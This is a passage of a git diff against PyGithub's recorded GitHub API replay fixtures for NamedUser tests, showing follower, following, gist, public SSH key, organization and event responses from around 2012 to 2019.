issue."},{"sha":"1773daffb48b4d48f34ad145f22a7fa8e655625f","author":{"name":"John Barnette","email":"john@jbarnette.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/1773daffb48b4d48f34ad145f22a7fa8e655625f","distinct":true,"message":"Stop lying."},{"sha":"da0ecbdfd9cb3d3b23299c05f0325f92acf07771","author":{"name":"Jason Salaz","email":"jsalaz@github.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/da0ecbdfd9cb3d3b23299c05f0325f92acf07771","distinct":true,"message":"Suggested clarification from Bradley at Logos -> https://support.enterprise.github.com/tickets/478"},{"sha":"63cd091f4ca04a3b9b3b960d3ad588125d2c2e1b","author":{"name":"rick","email":"technoweenie@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/63cd091f4ca04a3b9b3b960d3ad588125d2c2e1b","distinct":true,"message":"Update content/v3.md"},{"sha":"d6599c82af8cfd98f7cb2e815d64ca3af890bb3e","author":{"name":"rick","email":"technoweenie@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/d6599c82af8cfd98f7cb2e815d64ca3af890bb3e","distinct":true,"message":"Update content/v3.md"},{"sha":"658e8e1ff5d4846d7aa709e516432843d39ad3d5","author":{"name":"rick","email":"technoweenie@gmail.com"},"url":"https://api.github.com/repos/jacquev6/developer.github.com/commits/658e8e1ff5d4846d7aa709e516432843d39ad3d5","distinct":true,"message":"pull request changes"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/developer.github.com","id":3361136,"name":"jacquev6/developer.github.com"},"created_at":"2012-05-08T08:36:30Z","id":"1549819985","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"fcd377e377c23f87779d7940c3e894fd5844aad2","size":5,"push_id":77092135,"commits":[{"sha":"90ff8697b7039fcc1f12369b421f31319fd996df","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/90ff8697b7039fcc1f12369b421f31319fd996df","distinct":true,"message":"Simplify definition of list types"},{"sha":"c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c01d36a64eb6c4e69e3ac2f6ade27d793f7f2300","distinct":true,"message":"Remove underscores in keys in description, to allow hunting underscores in values"},{"sha":"07e994823e22a01d11612f141c2c0f9336ae5bf5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/07e994823e22a01d11612f141c2c0f9336ae5bf5","distinct":true,"message":"Fix testGists"},{"sha":"5be7fed4c9533dedffe03c7f908a608a8e6fe221","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5be7fed4c9533dedffe03c7f908a608a8e6fe221","distinct":true,"message":"Toto"},{"sha":"fcd377e377c23f87779d7940c3e894fd5844aad2","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/fcd377e377c23f87779d7940c3e894fd5844aad2","distinct":true,"message":"Fix testIssuesForAuthenticatedUser"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-08T07:57:57Z","id":"1549811703","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6"}}] - diff --git a/tests/ReplayData/NamedUser.testGetFollowers.txt b/tests/ReplayData/NamedUser.testGetFollowers.txt index 98744d958a..3b499818fc 100644 --- a/tests/ReplayData/NamedUser.testGetFollowers.txt +++ b/tests/ReplayData/NamedUser.testGetFollowers.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4958'), ('content-length', '3849'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f108ded43b2e23acc383f7eff74ee559"'), ('date', 'Sun, 20 May 2012 12:15:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/jnorthrup","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","login":"jnorthrup","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":73514},{"url":"https://api.github.com/users/brugidou","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","login":"brugidou","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167633},{"url":"https://api.github.com/users/regisb","gravatar_id":"43d211a7021343f2be236d2b9855b734","login":"regisb","avatar_url":"https://secure.gravatar.com/avatar/43d211a7021343f2be236d2b9855b734?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":44319},{"url":"https://api.github.com/users/walidk","gravatar_id":"e251d20766937949a109603ca37bb3be","login":"walidk","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":734669},{"url":"https://api.github.com/users/afzalkhan","gravatar_id":"8e85398b116be75d4baeeddfc9c3cce1","login":"afzalkhan","avatar_url":"https://secure.gravatar.com/avatar/8e85398b116be75d4baeeddfc9c3cce1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1003845},{"url":"https://api.github.com/users/sdanzan","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","login":"sdanzan","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1094967},{"url":"https://api.github.com/users/vineus","gravatar_id":"2d0c93649b7572036335aed380e351e5","login":"vineus","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":467126},{"url":"https://api.github.com/users/gturri","gravatar_id":"ba064e32f068e12bfc87d178179878a5","login":"gturri","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308601},{"url":"https://api.github.com/users/fjardon","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","login":"fjardon","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":121402},{"url":"https://api.github.com/users/cjuniet","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","login":"cjuniet","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1233553},{"url":"https://api.github.com/users/jardon-u","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","login":"jardon-u","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":994192},{"url":"https://api.github.com/users/kamaradclimber","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","login":"kamaradclimber","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":503537},{"url":"https://api.github.com/users/L42y","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","login":"L42y","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":284820}] - diff --git a/tests/ReplayData/NamedUser.testGetFollowing.txt b/tests/ReplayData/NamedUser.testGetFollowing.txt index c5664be7eb..85c288d39e 100644 --- a/tests/ReplayData/NamedUser.testGetFollowing.txt +++ b/tests/ReplayData/NamedUser.testGetFollowing.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4957'), ('content-length', '7072'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"83babfd00229c6e016e079e609e6db86"'), ('date', 'Sun, 20 May 2012 12:15:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/nvie","gravatar_id":"c5a7f21b46df698f3db31c37ed0cf55a","avatar_url":"https://secure.gravatar.com/avatar/c5a7f21b46df698f3db31c37ed0cf55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"nvie","id":83844},{"url":"https://api.github.com/users/schacon","gravatar_id":"9375a9529679f1b42b567a640d775e7d","avatar_url":"https://secure.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"schacon","id":70},{"url":"https://api.github.com/users/jamis","gravatar_id":"992fe8c19bbbc27f2b562a9f96efc03d","avatar_url":"https://secure.gravatar.com/avatar/992fe8c19bbbc27f2b562a9f96efc03d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jamis","id":1627},{"url":"https://api.github.com/users/chad","gravatar_id":"77f306388bb6ae00ac0b0401e27cdc99","avatar_url":"https://secure.gravatar.com/avatar/77f306388bb6ae00ac0b0401e27cdc99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"chad","id":237},{"url":"https://api.github.com/users/unclebob","gravatar_id":"e47a3e81d72676bd497b1cb67f66da97","avatar_url":"https://secure.gravatar.com/avatar/e47a3e81d72676bd497b1cb67f66da97?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"unclebob","id":36901},{"url":"https://api.github.com/users/dabrahams","gravatar_id":"5b45540ae377ec54a071f313b7193a27","avatar_url":"https://secure.gravatar.com/avatar/5b45540ae377ec54a071f313b7193a27?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"dabrahams","id":44065},{"url":"https://api.github.com/users/jnorthrup","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jnorthrup","id":73514},{"url":"https://api.github.com/users/brugidou","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"brugidou","id":167633},{"url":"https://api.github.com/users/regisb","gravatar_id":"43d211a7021343f2be236d2b9855b734","avatar_url":"https://secure.gravatar.com/avatar/43d211a7021343f2be236d2b9855b734?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"regisb","id":44319},{"url":"https://api.github.com/users/walidk","gravatar_id":"e251d20766937949a109603ca37bb3be","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"walidk","id":734669},{"url":"https://api.github.com/users/tanzilli","gravatar_id":"5d533d287dda8809a5369b65063ef725","avatar_url":"https://secure.gravatar.com/avatar/5d533d287dda8809a5369b65063ef725?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"tanzilli","id":434112},{"url":"https://api.github.com/users/fjardon","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"fjardon","id":121402},{"url":"https://api.github.com/users/r3c","gravatar_id":"9240b01ceef60b45be83aee8637e7043","avatar_url":"https://secure.gravatar.com/avatar/9240b01ceef60b45be83aee8637e7043?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"r3c","id":979446},{"url":"https://api.github.com/users/sdanzan","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"sdanzan","id":1094967},{"url":"https://api.github.com/users/vineus","gravatar_id":"2d0c93649b7572036335aed380e351e5","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vineus","id":467126},{"url":"https://api.github.com/users/cjuniet","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"cjuniet","id":1233553},{"url":"https://api.github.com/users/gturri","gravatar_id":"ba064e32f068e12bfc87d178179878a5","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gturri","id":308601},{"url":"https://api.github.com/users/ant9000","gravatar_id":"05c5d147f5decac1213f47007f6e97ed","avatar_url":"https://secure.gravatar.com/avatar/05c5d147f5decac1213f47007f6e97ed?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ant9000","id":803884},{"url":"https://api.github.com/users/asquini","gravatar_id":"ffc7ee9137c7c6859958bd21b724dde1","avatar_url":"https://secure.gravatar.com/avatar/ffc7ee9137c7c6859958bd21b724dde1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"asquini","id":1159877},{"url":"https://api.github.com/users/claudyus","gravatar_id":"694d276cdabd74c2538838f55d289143","avatar_url":"https://secure.gravatar.com/avatar/694d276cdabd74c2538838f55d289143?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"claudyus","id":509291},{"url":"https://api.github.com/users/jardon-u","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jardon-u","id":994192},{"url":"https://api.github.com/users/s-bernard","gravatar_id":"046dc82526c7cb4c60d8e70c6f4d4615","avatar_url":"https://secure.gravatar.com/avatar/046dc82526c7cb4c60d8e70c6f4d4615?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"s-bernard","id":1468889},{"url":"https://api.github.com/users/kamaradclimber","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kamaradclimber","id":503537},{"url":"https://api.github.com/users/Lyloa","gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Lyloa","id":1131432}] - diff --git a/tests/ReplayData/NamedUser.testGetGists.txt b/tests/ReplayData/NamedUser.testGetGists.txt index 83d4082103..a69c7ae0fe 100644 --- a/tests/ReplayData/NamedUser.testGetGists.txt +++ b/tests/ReplayData/NamedUser.testGetGists.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '1811'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7518615cec183b5396a6e08ef24eb2e9"'), ('date', 'Sat, 26 May 2012 10:10:17 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-26T10:09:33Z","url":"https://api.github.com/gists/2793179","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2793179.git","git_push_url":"git@gist.github.com:2793179.git","files":{"foobar.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2793179/73a1c7f17aa0ad5d7cbb5a8ca033ce47d3d23197/foobar.txt","size":24,"filename":"foobar.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Gist created by PyGithub","created_at":"2012-05-26T09:50:02Z","id":"2793179","html_url":"https://gist.github.com/2793179"},{"updated_at":"2012-04-26T13:20:53Z","url":"https://api.github.com/gists/11cb445f8197e17d303d","comments":0,"public":false,"git_pull_url":"git://gist.github.com/11cb445f8197e17d303d.git","git_push_url":"git@gist.github.com:11cb445f8197e17d303d.git","files":{"FairThreadPoolPool.cpp":{"type":"text/plain","raw_url":"https://gist.github.com/raw/11cb445f8197e17d303d/0f72c6fe50eb011eacb4e39fa613bdfe2f7a0c51/FairThreadPoolPool.cpp","size":7779,"filename":"FairThreadPoolPool.cpp","language":"C++"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"FairThreadPoolPool.cpp","created_at":"2012-04-26T13:20:53Z","id":"11cb445f8197e17d303d","html_url":"https://gist.github.com/11cb445f8197e17d303d"}] - diff --git a/tests/ReplayData/NamedUser.testGetKeys.txt b/tests/ReplayData/NamedUser.testGetKeys.txt index 846233458f..95a4541dd5 100644 --- a/tests/ReplayData/NamedUser.testGetKeys.txt +++ b/tests/ReplayData/NamedUser.testGetKeys.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '2021'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 03 Feb 2013 11:54:54 GMT'), ('connection', 'keep-alive'), ('etag', '"d80dfcef46052de82fcfd18ddc6d0b9f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 03 Feb 2013 16:17:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBIP5wjRLjI21lmSNsdGCbB/6Oc6PwyGTr7xn0z0QgUukL8YdsbVtDlgwAXcJbjEO0fIZtXumtHtN6dXxMwzvuyLxwp+YX6itjOex8X+ARsMa3g84+d252E1eVs480s5fZZwfoKGhWD+55bpFVlNokc4OUbqSXEnK45nrEWpxNEfeYF48aW4RpJ42HF8sF1ihxLHCrPXxpx1jKXN8ZpHqzfEHCF2hjJHaIS9sUADxaINEeakWy5brbNn5qSQurs3ADNs827Pahh6tPYcbUWpk7+Lu2V3wvqOdjfQz9GIEhSD1jUDa/R7/FIt92yUShMULdQZ49GuHup7VcTaBW3bBj","id":3557894},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNPDWrRtvubw0UEsoF3GMsfaRnt2Q2uj1vADkSt2Ii9QmoA4oy4Z/QJwVCYnosGhr/Y21pBYk1J0BuyYnw1NZ0CpC1dxdZLsm5YFVKy0n7DKjyiKShTXEi0rj9GAZfVY4Whv8Du4Jjy0cb4tN9OXqYJ7AI+hN0H/AAX9+vmX0C1Oph7KKyy31De4ov68mpKXQr3EPORgOJQ78yV0LxlaGMeXjYjiMKW9fT0nCKfy/WMQCNE8IJNKDoBsX10ctPQ57K8zE+O9XS8WPS2AL7B1TCJl2GebJjeRN9GHyc8o70ZLgfW4W5JzFMCGv2sYcDJjvVrymYt4/YfAl9AnzZDAN5","id":3791954},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAruD8eAQGD1PcfwiycEiwij6StRlNzXKVWlu8IkgfGZq/fk7k5kNf0PwdmG7kZo4gZAi/ljcHrnyINqxtO6zxbUihxJp7T0Zyz27fT0nOrs1p+KAFg7x/qs28Dm7aSYquKztcLqlZdRSDjD/178i7ft90+sjIq9mg2zgYDiV9tGzMfwoD9Cf/OpbFNOdDHNDvuVzGKefDfrC9zY9bpxteJP/teCQXzC6eqYTL7Qz0L6NANRq0Bv9WKA1xE04E6xlSEbtIX9+VWGHH5WnD/q/PABwZqwhxwDm7/b2vd8E9TuoXiVw0rSgWh3WFfYzSLnN/kTw5zadML6egC91Gx594jw==","id":3937333},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC262QAZ3rvJ7KySFEHUQYGfntylusL03x/ULKdVaSltc3Z2xvWm4zQSLHrWrdUbRN9z9kMpHWZZ2G+pvUPcY/qijbqtwg9FwBHNZoviq65LujKyQeegFXQKhGGaesDeKKC+jTXbg2NJY6+u5HLe4Je8q45VVHyAfltcuSE2QoCim50toyGUGWhcIDz/2mQYpy1wtkehQA6TeC55UE00TSU06E9glnqVi8hjDlsA7DABqyctG/sjP79OwUMBppiXYX2B0RJMtRHZ+5chsHx8oqavux1oG/tdTw9ZSAfKUHfDrN97x9PB38F3j8s60S2udRwLEYuErlF1JizTF4XOZhD","id":4051357},{"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK+jbASXi+PhE7GpBuKEH0qC+02J8L20A9CscleT5GUXKpZSbvxmsU0XLz95kYIBVUfrmTdn3PBn6FMK2OTWpxF9gt9DKclidkv2xfA1RkqnNVpMvZbzBMDmJcWo/lae+arQVJ26O1pbZjPH56c0cYvhblsoZnI1kCFatiJ3MOUeD2zCDylsfQ8zgLKA5yj0HRC3n5cPe9nIVWXnJQ1two4GHmxE7zue+hikYB7PQvaldGKTmHX04ODyZpyFOd86cvjiftN3G39POr2vh52jBwj4oLAiF89SC3QxQes8+zF00jOmnFUlONup0nLvJg4t/ij0M2kr5cqca7pMP+QfZp","id":4051492}] - diff --git a/tests/ReplayData/NamedUser.testGetOrganizationMembership.txt b/tests/ReplayData/NamedUser.testGetOrganizationMembership.txt index 75d12c51e9..bc2ab983d1 100644 --- a/tests/ReplayData/NamedUser.testGetOrganizationMembership.txt +++ b/tests/ReplayData/NamedUser.testGetOrganizationMembership.txt @@ -19,4 +19,3 @@ None 200 [('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org, read:org, repo, user, write:org'), ('etag', 'W/"a48fb9108de1ab30ca11a7d7b676b7d0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '965A:5675:180111:1B9D26:5DB7F14D'), ('date', 'Tue, 29 Oct 2019 07:59:15 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1572339549')] {"url":"https://api.github.com/orgs/BeaverSoftware/memberships/jacquev6","state":"active","role":"member","user":{"following_url":"https://api.github.com/users/jacquev6/following{/other_user}","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","url":"https://api.github.com/users/jacquev6","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","html_url":"https://github.com/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","node_id":"MDQ6VXNlcjE1MjI1MDU5","repos_url":"https://api.github.com/users/jacquev6/repos","received_events_url":"https://api.github.com/users/jacquev6/received_events","gravatar_id":"","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","site_admin":false,"login":"jacquev6","type":"User","id":15225059,"followers_url":"https://api.github.com/users/jacquev6/followers","organizations_url":"https://api.github.com/users/jacquev6/orgs"},"organization":{"issues_url":"https://api.github.com/orgs/BeaverSoftware/issues","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","description":null,"public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","url":"https://api.github.com/orgs/BeaverSoftware","events_url":"https://api.github.com/orgs/BeaverSoftware/events","avatar_url":"https://avatars0.githubusercontent.com/u/1553906?v=4","node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM5MDY=","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","login":"BeaverSoftware","id":1553906,"hooks_url":"https://api.github.com/orgs/BeaverSoftware/hooks"},"organization_url":"https://api.github.com/orgs/BeaverSoftware"} - diff --git a/tests/ReplayData/NamedUser.testGetOrgs.txt b/tests/ReplayData/NamedUser.testGetOrgs.txt index 93d9b76855..64e46dd12f 100644 --- a/tests/ReplayData/NamedUser.testGetOrgs.txt +++ b/tests/ReplayData/NamedUser.testGetOrgs.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '262'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"82deae94305d8c551e4874e06f6efd48"'), ('date', 'Sun, 20 May 2012 12:27:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","url":"https://api.github.com/orgs/BeaverSoftware","login":"BeaverSoftware","id":1424031}] - diff --git a/tests/ReplayData/NamedUser.testGetPublicEvents.txt b/tests/ReplayData/NamedUser.testGetPublicEvents.txt index 2507e4ca2f..a16d75797c 100644 --- a/tests/ReplayData/NamedUser.testGetPublicEvents.txt +++ b/tests/ReplayData/NamedUser.testGetPublicEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '44220'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"c2fc2e5ccf4abdbd7b603c90a9254d37"'), ('date', 'Sat, 26 May 2012 10:48:48 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"PushEvent","payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into 